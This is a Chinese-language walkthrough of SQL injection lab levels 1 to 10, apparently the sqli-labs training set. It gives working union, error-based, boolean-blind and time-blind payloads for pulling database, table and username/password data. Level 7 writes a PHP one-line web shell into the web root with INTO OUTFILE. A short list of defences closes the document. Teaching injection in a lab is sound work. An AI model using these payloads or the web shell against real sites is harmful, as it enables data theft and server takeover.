SQL注入实战之各种姿势(1-10关)
字数 913 2025-08-15 21:31:27
SQL注入实战教学文档
第一部分:SQL注入基础概念
1. 基本查询语句
MySQL系统数据库information_schema存储所有数据库相关信息,可用于完整注入流程:
select user(); -- 获取当前用户
select database(); -- 获取当前数据库
select count(*) from 表名; -- 获取表中数据条数
-- 猜数据库
select schema_name from information_schema.schemata;
-- 猜某库的数据表
select table_name from information_schema.tables where table_schema='库名' and table_name='表名';
-- 猜某表的所有列
select column_name from information_schema.columns where table_name='表名';
-- 获取某列内容
select *** from ****;
2. SQL注入语法分类
按注入语法分为:
- 联合查询注入(Union)
- 报错查询注入(Error)
- 布尔型注入(Boolean)
- 延时注入(Time)
- 堆叠查询注入
优先级:联合注入 > 报错注入 > 布尔型注入 > 延时注入
第二部分:联合注入实战
Less-1: 基本联合注入
- 判断注入类型:字符型
- 闭合符号:单引号(')
- 关键步骤:
-- 判断列数
?id=1' order by 3 --+
-- 查找显示位
?id=-1' union select 1,2,3 --+
-- 获取数据库信息
?id=-1' union select 1,user(),database() --+
-- 获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-- 获取列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
-- 获取数据
?id=-1' union select 1,2,group_concat(0x23,username,0x7e,password) from users --+
Less-2: 整型注入
- 判断注入类型:整型(无需闭合和注释)
- 关键步骤:
-- 判断整型
?id=1 and 1=1
?id=1 and 1=2
-- 后续步骤与Less-1类似,去掉闭合符号
Less-3: 单引号变形字符型注入
- 闭合符号:')
- 关键步骤:
-- 判断闭合符号
?id=2\
-- 注入示例
?id=2') and 1=1 --+
?id=-2') union select 1,2,database() --+
Less-4: 双引号字符型注入
- 闭合符号:")
- 关键步骤:
-- 判断闭合符号
?id=1\
-- 注入示例
?id=1") and 1=1 --+
?id=-1") union select 1,2,database() --+
Less-7: 文件写入注入
- 前提条件:
- MySQL配置
secure_file_priv=为空 - 知道网站绝对路径
- MySQL配置
- 关键步骤:
-- 写入一句话木马
?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile 'D:\\path\\ma.php' --+
第三部分:报错注入实战
Less-5: 单引号报错注入
- 闭合符号:'
- 报错函数:
extractvalue(1,concat(0x7e,(payload),0x7e))
updatexml(1,concat(0x7e,(payload),0x7e),1)
- 关键步骤:
-- 获取数据库名
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
-- 获取表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
-- 使用limit分页获取完整数据
?id=1' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
Less-6: 双引号报错注入
- 闭合符号:"
- 关键步骤:
-- 类似Less-5,替换闭合符号
?id=2" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
第四部分:布尔盲注实战
Less-8: 单引号布尔盲注
- 关键函数:
length(): 判断长度exists(): 判断是否存在ascii(): 字符转ASCII码substr(string,pos,length): 截取字符串
- 关键步骤:
-- 判断数据库长度
?id=1' and length(database())=8 --+
-- 逐字符猜解
?id=1' and ascii(substr(database(),1,1))=115 --+
-- 判断表数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
-- 判断表名长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
第五部分:延时盲注实战
Less-9: 单引号延时盲注
- 基本格式:
if((payload),sleep(5),1)
- 关键步骤:
-- 判断数据库长度
?id=1' and if((length((database())>5)),sleep(5),1) --+
-- 逐字符猜解
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
Less-10: 双引号延时盲注
- 类似Less-9,替换闭合符号为"
?id=1" and if((length((database())>5)),sleep(5),1) --+
附录:常用技巧
- 闭合符号判断:通过添加
\观察报错 - 显示位查找:使用
union select 1,2,3... - 数据截断处理:使用
limit m,n分页获取 - 特殊字符编码:
0x7e: ~0x23: #0x2B: +
- 文件写入条件:MySQL配置
secure_file_priv=为空
防御建议
- 使用参数化查询
- 对输入进行严格过滤
- 最小权限原则配置数据库
- 关闭错误信息显示
- 使用WAF防护